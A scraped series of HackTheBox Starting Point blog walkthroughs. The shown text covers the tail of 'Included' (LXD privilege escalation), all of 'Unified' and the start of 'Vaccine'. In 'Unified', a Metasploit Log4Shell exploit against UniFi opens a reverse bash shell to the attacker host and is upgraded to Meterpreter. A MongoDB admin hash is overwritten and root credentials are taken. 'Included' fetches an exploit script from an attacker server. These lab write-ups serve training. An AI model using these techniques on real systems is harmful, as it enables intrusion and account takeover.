http://10.10.14.75:8888/lxdprivesc.sh ... Saving to: 'lxdprivesc.sh' ... mike@included:/tmp$ ll total 3632 ... -rw-rw-r-- 1 mike mike 3705051 ... alpinebuild.tar.gz -rw-rw-r-- 1 mike mike 1451 ... lxdprivesc.sh mike@included:/tmp$ Listing 35 - Transferring the required files Finally, we run the script.\nmike@included:/tmp$ chmod a+x lxdprivesc.sh mike@included:/tmp$ ll ... -rwxrwxr-x 1 mike mike 1451 ... lxdprivesc.sh* mike@included:/tmp$ ./lxdprivesc.sh -f alpinebuild.tar.gz [*] Listing images... +--------+--------------+--------+-------------------------------+--------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE | +--------+--------------+--------+-------------------------------+--------+--------+------------------------------+ | alpine | c3c843ed2546 | no | alpine v3.18 (...) | x86_64 | 3.53MB | ... | +--------+--------------+--------+-------------------------------+--------+--------+------------------------------+ Creating privesc Device giveMeRoot added to privesc ~ # Listing 36 - Adjusting executable permissions and running the exploit Moving on to the last step.\nStep-4: Once inside the container, navigate to /mnt/root to see all resources from the host machine. (targetbox)\n~ # cd /mnt/root /mnt/root # ls -hla ... drwxr-xr-x 3 root root 4.0K ... home ... drwx------ 7 root root 4.0K ... root ... /mnt/root # Listing 37 - Navigating to the target mount Since we are already here, how about retrieving the root flag?\n/mnt/root # cd root/ /mnt/root/root # ls -hlag ... -r-------- 1 root root 33 ... root.txt /mnt/root/root # cat root.txt \u0026lt;redacted-flag\u0026gt; /mnt/root/root # Listing 38 - Acquiring the root flag Task-7 Question: What flag do we set to the container so that it has root privileges on the host system?\nsecurity.privileged=true\nSince we went ahead and used the exploit we found, the answer here may not seem so trivial. But as always, thorough internet research simply gets the job done.\nTask-8 Question: If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?\n/mnt/root/\nSee Step-4 from Task-6.\nSubmit The User Flag Question: Submit user flag\n\u0026lt;redacted-flag\u0026gt;\nIt was already acquired during Task-5.\nSubmit The Root Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nSimilar to the user flag, the root flag was already grabbed during Task-6.\nCongratulations on completing the challenge. All that is left is to terminate the targetbox \u0026ndash; if not terminated automatically \u0026ndash; before moving on to the next challenge!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-2/included/","summary":"HackTheBox | Starting Point | Tier 2 | Included","title":"Included"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 2\nMachine: Unified\nReleased: 02/02/2022 MACHINE SYNOPSIS\nUnified is a very easy Linux machine that demonstrates the exploitation of the Log4Shell (CVE-2021-44228) vulnerability in the UniFi Network application. Enumeration reveals a vulnerable UniFi instance where a remote execution can be achieved by crafting and injecting a JNDI payload into a POST request. Then a local MongoDB database can be leveraged to reset the administrator password and gain access to the UniFi admin panel. Plaintext SSH credentials can be discovered in the application settings leading to final privilege escalation.\nPreparations There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.\nOnce our connection is taken care of, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; it is possible to set a local variable (only available in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can easily access it by prepending a $ to our variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the targets IP address You could use the unset command to remove it after you no longer need it.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: Which are the first four open ports?\n22,6789,8080,8443\nTo begin our reconnaissance, we first perform a quick connection check\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Listing 3 - Connection check to ensure that our target is correctly instantiated. Then we follow up with our usual \u0026ndash; version, script, top 1000 TCP ports \u0026ndash; Nmap scan:\nuser@kali:~$ nmap -sC -sV $rhost ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) ... 6789/tcp open ibm-db2-admin? 8080/tcp open http-proxy |_http-title: Did not follow redirect to https://10.129.157.249:8443/manage |_http-open-proxy: Proxy might be redirecting requests ... 8443/tcp open ssl/nagios-nsca Nagios NSCA | ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc./stateOrProvinceName=New York/countryName=US | Subject Alternative Name: DNS:UniFi ... | http-title: UniFi Network |_Requested resource was /manage/account/login?redirect=%2Fmanage ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ... user@kali:~$ Listing 4 - Version detection and default script scan Four top TCP ports are reported open: ports 22, 6789, 8080, and 8443.\nBased on this information, there are a couple of assumptions one might make:\n- p22/tcp: SSH version - openssh (1:8.2p1-4ubuntu0.3)\n- p6789/tcp: ibm-db2-admin - maybe an IBM database??\n- p8080/tcp: HTTP proxy - automatic redirect to https://$rhost:8443/manage\n- p8443/tcp: looks like Nagios NSCA\n- Target OS: probably Ubuntu 20.04.6 LTS (Focal Fossa)\nListing 5 - Assumptions based on Nmap results Another interesting piece of information is the fingerprinting result that we get for the web server that our target is hosting.\nuser@kali:~$ whatweb $rhost:8080 http://10.129.157.249:8080 [302 Found] Country[RESERVED][ZZ], IP[10.129.157.249], RedirectLocation[/manage] http://10.129.157.249:8080/manage [302 Found] Country[RESERVED][ZZ], IP[10.129.157.249], RedirectLocation[https://10.129.157.249:8443/manage] https://10.129.157.249:8443/manage [302 Found] Country[RESERVED][ZZ], IP[10.129.157.249], RedirectLocation[/manage/account/login?redirect=%2Fmanage] https://10.129.157.249:8443/manage/account/login?redirect=%2Fmanage [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.129.157.249], Script, Title[UniFi Network], X-Frame-Options[SAMEORIGIN] user@kali:~$ Listing 6 - WhatWeb fingerprinting and redirections Accessing the web server on port 8080 triggers multiple automatic redirections in the following order:\n1 - https://$rhost:8080/ on port 8080\n2 - https://$rhost:8080/manage on port 8080\n3 - https://$rhost:8443/manage on port 8443\n4 - https://$rhost:8443/manage/account/login?redirect=%2Fmanage on port 8443\nListing 7 - Automatic redirections in place It looks like an automatic redirect to a login page. It is time to check it out.\nTask-2 Question: What is the title of the software that is running running on port 8443?\nunifi network\nUsing our browser to access the website from Task-1, we are first warned of potential security risks, and only after explicitly allowing it do we land on the login page.\nFigure 1: Redirected UniFi login page\nThe answer for this task lies in the HTTP-title belonging to the website that is served on port 8443. Optionally, taking another look at the Nmap report from Task-1 would also get us the answer.\nTask-3 Question: What is the version of the software that is running?\n6.4.54\nThe answer for this task is simply displayed on the login page \u0026ndash; see Task-2.\nTask-4 Question: What is the CVE for the identified vulnerability?\ncve-2021-44228\nThere are many ways to search for the aforementioned CVE. One of them is to use the searchsploit tool that searches the ExploitDB database for any mentions.\nuser@kali:~$ searchsploit unifi network ------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- Ubiquiti Networks UniFi 3.2.10 - Cross-Site Request Forgery | json/webapps/39488.txt Ubiquiti Networks UniFi Video Default - 'crossdomain.xml' S | php/webapps/39268.java ------------------------------------------------------------ --------------------------------- Shellcodes: No Results user@kali:~$ Listing 8 - No leads with searchsploit search Sadly, none of the results look very promising. Therefore, we keep on looking.\nAnother search option is to simply use an internet search engine. But for the sake of variety, we will be using the Metasploit Framework (MSF) search feature here.\nuser@kali:~$ msfconsole -q [msf](Jobs:0 Agents:0) \u003e\u003e search unifi network ... # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- ... 2 exploit/multi/http/ubiquiti_unifi_log4shell ... excellent Yes UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell) ... [msf](Jobs:0 Agents:0) \u003e\u003e info 2 ... Name: UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell) ... Description: The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the /api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the server application. This module will start an LDAP server that the target will need to connect to. ... Also known as: Log4Shell LogJam ... [msf](Jobs:0 Agents:0) \u003e\u003e Listing 9 - Metasploit search results It is exactly what we have been looking for, so we select it.\n[msf](Jobs:0 Agents:0) \u003e\u003e use 2 [*] Using configured payload cmd/unix/reverse_bash [msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e Listing 10 - Selecting the module for further use Task-5 Question: What protocol does JNDI leverage in the injection?\nldap\nOne nice summary we may find is on the vulmon website:\nVulnerability Summary\n\u0026hellip;\nApache Log4j2 2.0-beta9 up to and including 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints.\n\u0026hellip;\nListing 11 - Log4j2 vulnerability description Task-6 Question: What tool do we use to intercept the traffic, indicating the attack was successful?\ntcpdump\nEven though the question is a bit misleading (for those not following the official write-up), there are many tools we could use. Wireshark and Tcpdump are only two of the most popular ones.\nNevertheless, the exploit \u0026ndash; exploit/multi/http/ubiquiti_unifi_log4shell \u0026ndash; we found in Task-4 should take care of this automatically.\nSo in our case, the Metasploit Framework would do the interception. This is why we might need to run msf with sudo \u0026ndash; sudo msfconsole -q \u0026ndash; since binding any port below 1000 requires root permissions on Linux.\nTask-7 Question: What port do we need to inspect intercepted traffic for?\n389\nThere is a very nice article describing the ins and outs of the aforementioned vulnerability on UniFi.\nAlternatively, listing the exploit options in the Metasploit Framework\n[msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e show options ... Name Current Setting Required Description ---- --------------- -------- ----------- LDIF_FILE no Directory LDIF file path Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 8443 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 389 yes The local port to listen on. SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path VHOST no HTTP server virtual host ... Payload options (cmd/unix/reverse_bash): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port ... [msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e Listing 12 - Module options should also shine some light on the answer \u0026ndash; SRVPORT is set to port 389 as default.\n\u0026hellip;\nSRVPORT 389 yes The local port to listen on.\n\u0026hellip;\nListing 13 - Srvport default configuration Task-8 Question: What port is the MongoDB service running on?\n27117\nIn order to run our exploit, first we will need to adjust some of its settings \u0026ndash; like for example setting rhosts to $rhost.\n[msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e set rhosts 10.129.157.249 rhosts =\u003e 10.129.157.249 [msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e set srvhost tun0 srvhost =\u003e 10.10.14.41 [msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e set lhost tun0 lhost =\u003e 10.10.14.41 [msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e Listing 14 - Adjusting options to match our use case Modifying them should result in the following configuration:\n[msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e show options ... Name Current Setting Required Description ---- --------------- -------- ----------- LDIF_FILE no Directory LDIF file path Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.129.157.249 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 8443 yes The target port (TCP) SRVHOST 10.10.14.41 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 389 yes The local port to listen on. SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path VHOST no HTTP server virtual host ... Payload options (cmd/unix/reverse_bash): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.41 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port ... [msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e Listing 15 - Configured module options Once properly configured, we can check if our target is vulnerable.\n[msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e check [+] 10.129.157.249:8443 - The target is vulnerable. [msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e Listing 16 - Vulnerability check with the module's built-in check feature Since it appears to be vulnerable, we run our exploit.\n[msf](Jobs:0 Agents:0) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e run ... [*] Started reverse TCP handler on 10.10.14.41:4444 [*] Running automatic check (\"set AutoCheck false\" to disable) [+] The target is vulnerable. [+] Delivering the serialized Java object to execute the payload... [*] Command shell session 1 opened (10.10.14.41:4444 -\u003e 10.129.157.249:45428) at ... [*] Server stopped. Listing 17 - Launching the exploit Once the appropriate payload is sent, we will receive a reverse shell on the specified port \u0026ndash; port 4444 in our case \u0026ndash; in another session.\nOur next goal is to upgrade this connection to a Meterpreter shell. To do this, first we background our current session with CTRL+Z,\n[*] Server stopped. ^Z Background session 1? [y/N] y [msf](Jobs:0 Agents:1) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e Listing 18 - Backgrounding the session then we use the post/multi/manage/shell_to_meterpreter MSF module on that same session.\nIf we break it down, it could look like this:\nStep-1: Searching for the module.\n[msf](Jobs:0 Agents:1) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e search shell_to_meterpreter ... 0 post/multi/manage/shell_to_meterpreter ... ... [msf](Jobs:0 Agents:1) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e Listing 19 - Searching for the meterpreter module Step-2: Selecting the module.\n[msf](Jobs:0 Agents:1) exploit(multi/http/ubiquiti_unifi_log4shell) \u003e\u003e use 0 Listing 20 - Selecting the meterpreter module Step-3: Listing all active sessions.\n[msf](Jobs:0 Agents:1) post(multi/manage/shell_to_meterpreter) \u003e\u003e sessions -l ... Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell cmd/unix 10.10.14.41:4444 -\u003e 10.129.157.249:45428 (10.129.157.249) ... [msf](Jobs:0 Agents:1) post(multi/manage/shell_to_meterpreter) \u003e\u003e Listing 21 - Checking on active sessions Step-4: Configuring the module settings.\n[msf](Jobs:0 Agents:1) post(multi/manage/shell_to_meterpreter) \u003e\u003e show options ... Module options (post/multi/manage/shell_to_meterpreter): ... Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the connection LHOST no IP of host that will receive the connection from thepayload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION yes The session to run this module on ... [msf](Jobs:0 Agents:1) post(multi/manage/shell_to_meterpreter) \u003e\u003e set session 1 session =\u003e 1 [msf](Jobs:0 Agents:1) post(multi/manage/shell_to_meterpreter) \u003e\u003e Listing 22 - Configuring the meterpreter module for our active session Step-5: Running the module.\n[msf](Jobs:0 Agents:1) post(multi/manage/shell_to_meterpreter) \u003e\u003e run ... [*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 10.10.14.41:4433 [*] Sending stage (1017704 bytes) to 10.129.157.249 [*] Meterpreter session 2 opened (10.10.14.41:4433 -\u003e 10.129.157.249:54458) at ... [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed [msf](Jobs:0 Agents:2) post(multi/manage/shell_to_meterpreter) \u003e\u003e Listing 23 - Running the meterpreter module Step-6: Moving to the upgraded shell.\n[msf](Jobs:0 Agents:2) post(multi/manage/shell_to_meterpreter) \u003e\u003e sessions -l ... Active sessions =============== ... Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell cmd/unix 10.10.14.41:4444 -\u003e 10.129.157.249:45428 (10.129.157.249) 2 meterpreter x86/linux unifi @ 10.129.157.249 10.10.14.41:4433 -\u003e 10.129.157.249:54458 (10.129.157.249) ... [msf](Jobs:0 Agents:2) post(multi/manage/shell_to_meterpreter) \u003e\u003e sessions -i 2 [*] Starting interaction with 2... ... (Meterpreter 2)(/usr/lib/unifi) \u003e Listing 24 - Listing active sessions and moving over to the meterpreter one Finally, we use our new shell connection to grab the user flag.\n(Meterpreter 2)(/usr/lib/unifi) \u003e pwd /usr/lib/unifi (Meterpreter 2)(/usr/lib/unifi) \u003e cd /home/michael/ (Meterpreter 2)(/home/michael) \u003e ls Listing: /home/michael ====================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- ... 100644/rw-r--r-- 33 fil ... user.txt ... (Meterpreter 2)(/home/michael) \u003e cat user.txt (Meterpreter 2)(/home/michael) \u003e Listing 25 - Retrieving the user flag Now it is time to look for the aforementioned MongoDB service. For this we change our shell to the target system\u0026rsquo;s native shell.\n(Meterpreter 2)(/home/michael) \u003e shell Process 1609 created. Channel 2 created. ls -hla ... -rw-r--r-- 1 root 1000 33 ... user.txt Listing 26 - Entering the target system's native shell Then we use ps with grep to list the current processes which mention the word \u0026lsquo;mongo\u0026rsquo;.\nps | grep mongo 67 ? 00:00:15 mongod ps aux | grep mongo unifi 67 0.4 4.1 1103744 85144 ? Sl 17:17 0:15 bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1 unifi 1668 0.0 0.0 11468 996 ? S 18:12 0:00 grep mongo Listing 27 - Searching for local processes running MongoDB Task-9 Question: What is the default database name for UniFi applications?\nace\nA simple online search should get us this answer. Otherwise, the very nice article referenced in Task-7 also mentions it.\nTask-10 Question: What is the function we use to enumerate users within the database in MongoDB?\ndb.admin.find()\nEnumerating the ace database (from Task-9) produces quite a lengthy output; therefore, only a shorter and snipped version is shown here.\nmongo --port 27117 ace --eval \"db.admin.find().forEach(printjson);\" ... connecting to: mongodb://127.0.0.1:27117/ace ... \"_id\" : ObjectId(\"61ce278f46e0fb0012d47ee4\"), \"name\" : \"administrator\", \"email\" : \"administrator@unified.htb\", \"x_shadow\" : \"$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.\", ... \"_id\" : ObjectId(\"61ce4a63fbce5e00116f424f\"), \"email\" : \"michael@unified.htb\", \"name\" : \"michael\", \"x_shadow\" : \"$6$spHwHYVF$mF/VQrMNGSau0IP7LjqQMfF5VjZBph6VUf4clW3SULqBjDNQwW.BlIqsafYbLWmKRhfWTiZLjhSP.D/M1h5yJ0\", ... \"_id\" : ObjectId(\"61ce4ce8fbce5e00116f4251\"), \"email\" : \"seamus@unified.htb\", \"name\" : \"Seamus\", \"x_shadow\" : \"$6$NT.hcX..$aFei35dMy7Ddn.O.UFybjrAaRR5UfzzChhIeCs0lp1mmXhVHol6feKv4hj8LaGe0dTiyvq1tmA.j9.kfDP.xC.\", ... \"_id\" : ObjectId(\"61ce4d27fbce5e00116f4252\"), \"email\" : \"warren@unified.htb\", \"name\" : \"warren\", \"x_shadow\" : \"$6$DDOzp/8g$VXE2i.FgQSRJvTu.8G4jtxhJ8gm22FuCoQbAhhyLFCMcwX95ybr4dCJR/Otas100PZA9fHWgTpWYzth5KcaCZ.\", ... \"_id\" : ObjectId(\"61ce4d51fbce5e00116f4253\"), \"email\" : \"james@unfiied.htb\", \"name\" : \"james\", \"x_shadow\" : \"$6$ON/tM.23$cp3j11TkOCDVdy/DzOtpEbRC5mqbi1PPUM6N4ao3Bog8rO.ZGqn6Xysm3v0bKtyclltYmYvbXLhNybGyjvAey1\", ... Listing 28 - Enumerating the ace database Task-11 Question: What is the function we use to update users within the database in MongoDB?\ndb.admin.update()\nOur main idea for privilege escalation is to simply swap the admin\u0026rsquo;s (administrator) password hash \u0026ndash; which is stored in the Mongo database \u0026ndash; to an arbitrary one, which we control.\nTherefore, we must first generate this password hash.\nuser@kali:~$ mkpasswd -m sha-512 password $6$BSx5wsP/AYQd0ukF$9VyddeMmsdJ9EPbQ/4lKRv8gCKp7e8Qca5.hd6bgLN2ePkonNnn56s0hDKOV.pLsPCVwm5fPzeS5XehlO2NhE. user@kali:~$ Listing 29 - Creating a SHA-512 hash for the password string Then we overwrite the stored one \u0026ndash; in MongoDB \u0026ndash; with this one.\nmongo --port 27117 ace --eval 'db.admin.update({\"_id\":ObjectId(\"61ce278f46e0fb0012d47ee4\")},{$set:{\"x_shadow\":\"$6$BSx5wsP/AYQd0ukF$9VyddeMmsdJ9EPbQ/4lKRv8gCKp7e8Qca5.hd6bgLN2ePkonNnn56s0hDKOV.pLsPCVwm5fPzeS5XehlO2NhE.\"}})' ... connecting to: mongodb://127.0.0.1:27117/ace ... WriteResult({ \"nMatched\" : 1, \"nUpserted\" : 0, \"nModified\" : 1 }) Listing 30 - Overwriting the password hash stored by MongoDB for the administrator user Lastly, we verify the swap and close the open sessions.\nmongo --port 27117 ace --eval \"db.admin.find().forEach(printjson);\" ... connecting to: mongodb://127.0.0.1:27117/ace ... { \"_id\" : ObjectId(\"61ce278f46e0fb0012d47ee4\"), \"name\" : \"administrator\", \"email\" : \"administrator@unified.htb\", \"x_shadow\" : \"$6$BSx5wsP/AYQd0ukF$9VyddeMmsdJ9EPbQ/4lKRv8gCKp7e8Qca5.hd6bgLN2ePkonNnn56s0hDKOV.pLsPCVwm5fPzeS5XehlO2NhE.\", ... exit (Meterpreter 2)(/home/michael) \u003e exit [*] Shutting down Meterpreter... ... [*] 10.129.157.249 - Meterpreter session 2 closed. Reason: User exit [msf](Jobs:0 Agents:1) post(multi/manage/shell_to_meterpreter) \u003e\u003e exit -y user@kali:~$ Listing 31 - Verifying overwrite and terminating sessions Task-12 Question: What is the password for the root user?\nNotACrackablePassword4U2022\nIt is time to return to the login page from Task-2 and use the credentials created in Task-11 for the authentication process:\nUsername: administrator Password: password It looks like it worked, and we can successfully log in as the administrator user.\nFigure 2: Admin access to the UniFi web application\nFrom here on out, we simply proceed, since there are many different ways to leverage this admin configuration page to get root access on our target machine. Be it by modifying the stored SSH key pair or by using the remote access option.\nThe one we are using (probably the quickest one) is to simply retrieve the currently stored root password. It can be found under: Settings \u0026gt; Site \u0026gt; Device Authentication.\nFigure 3: Retrieving SSH credentials\nSubmit The User Flag Question: Submit user flag\n\u0026lt;redacted-flag\u0026gt;\nThe user flag was already acquired during Task-8.\nSubmit The Root Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nLastly, we use the retrieved root credentials from Task-12 to open up an SSH connection to our target. Once connected, we grab the flag.\nThese are the SSH login credentials we acquired in Task-12:\nUsername: root Password: NotACrackablePassword4U2022 user@kali:~$ ssh root@$rhost ... Are you sure you want to continue connecting (yes/no/[fingerprint])? yes ... root@10.129.157.249's password: Welcome to Ubuntu... ... root@unified:~# pwd /root root@unified:~# ls -hla ... -rw-r--r-- 1 root root 33 ... root.txt root@unified:~# cat root.txt \u0026lt;redacted-flag\u0026gt; root@unified:~# Listing 32 - Retrieving the root flag via SSH Congratulations, we completed the challenge. All that is left is to terminate the target box \u0026ndash; if not terminated automatically \u0026ndash; before moving on to the next challenge!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-2/unified/","summary":"HackTheBox | Starting Point | Tier 2 | Unified","title":"Unified"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 2\nMachine: Vaccine\nReleased: 25/10/2021 MACHINE SYNOPSIS\nVaccine is a very easy Linux machine that emphasizes enumeration and password cracking. Anonymous FTP access exposes a password-protected backup archive which can be cracked to recover web application credentials. These credentials grant access to a PHP application vulnerable to SQL injection which leads to command execution and an initial shell as the postgres user. Finally, privilege escalation can be achieved by abusing misconfigured sudo permissions on vi.\nPreparations There are several ways to connect to the target machine. The method we use throughout this walkthrough is the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; even though it is not required \u0026ndash; we may set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can easily access it by prepending a $ to our variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can use the unset command to remove the variable when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: Besides SSH and HTTP, what other service is hosted on this box?\nftp\nWe begin with a quick connectivity check\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Listing 3 - Connection check and follow up with our standard Nmap scan \u0026ndash; version detection and default scripts against the top 1000 TCP ports.\nuser@kali:~$ nmap -sC -sV $rhost ... PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 ... | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 2533 ... backup.zip ... 22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0) ... 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) ... |_http-title: MegaCorp Login |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel ... user@kali:~$ Listing 4 - Version detection and default scripts scan Several items stand out upon initial inspection:\nFTP anonymous login is permitted: A file named backup.zip is accessible. SSH version is 1:8.0p1-6ubuntu0.1. Apache web server is running version Apache httpd 2.4.41. The operating system is likely Ubuntu 19.10 Eoan Ermine. Since a web server is running on the target, we proceed with quick fingerprinting.\nuser@kali:~$ whatweb $rhost http://10.129.94.247 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.94.247], PasswordField[password], Title[MegaCorp Login] user@kali:~$ Listing 5 - WhatWeb fingerprinting Task-2 Question: This service can be configured to allow login with any password for specific username. What is that username?\nanonymous\nSince anonymous login is enabled on the FTP service, we connect and download the file we identified earlier in Task-1.\nuser@kali:~$ ftp $rhost ... Name (10.129.94.247:root): anonymous ... Password: ... ftp\u003e ls ... -rwxr-xr-x 1 0 0 2533 ... backup.zip ... ftp\u003e get backup.zip ... ftp\u003e exit 221 Goodbye. ... user@kali:~$ Listing 6 - Using anonymous FTP login to retrieve the backup.zip file Task-3 Question: What is the name of the file downloaded over this service?\nbackup.zip\nAttempting to decompress the archive fails because it is password protected.\nuser@kali:~$ ll total 4.0K -rw-r--r-- 1 user iser 2.5K ... backup.zip user@kali:~$ unzip backup.zip Archive: backup.zip [backup.zip] index.php password: password incorrect--reenter: password incorrect--reenter: skipping: index.php incorrect password [backup.zip] style.css password: password incorrect--reenter: password incorrect--reenter: skipping: style.css incorrect password user@kali:~$ Listing 7 - Encrypted backup.zip file Task-4 Question: What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?\nzip2john\nA quick online search yields two potential candidates: zip2john and rar2john.\nGiven the .zip extension, the appropriate tool is zip2john. Having identified the necessary utility, we proceed to extract the password hash.\nuser@kali:~$ man john user@kali:~$ zip2john backup.zip \u003e backupzip.hash Created directory: /home/kali/.john ... user@kali:~$ ll total 8.0K -rw-r--r-- 1 user user 2.5K ... backup.zip -rw-r--r-- 1 user user 2.2K ... backupzip.hash user@kali:~$ Listing 8 - Creating the John-compatible hash for the backup.zip file The resulting password hash in backupzip.hash appears as follows:\nbackup.zip:$pkzip2$22108243a415722543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82203dacca1b1ccd6a5044383da1b1c989a22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8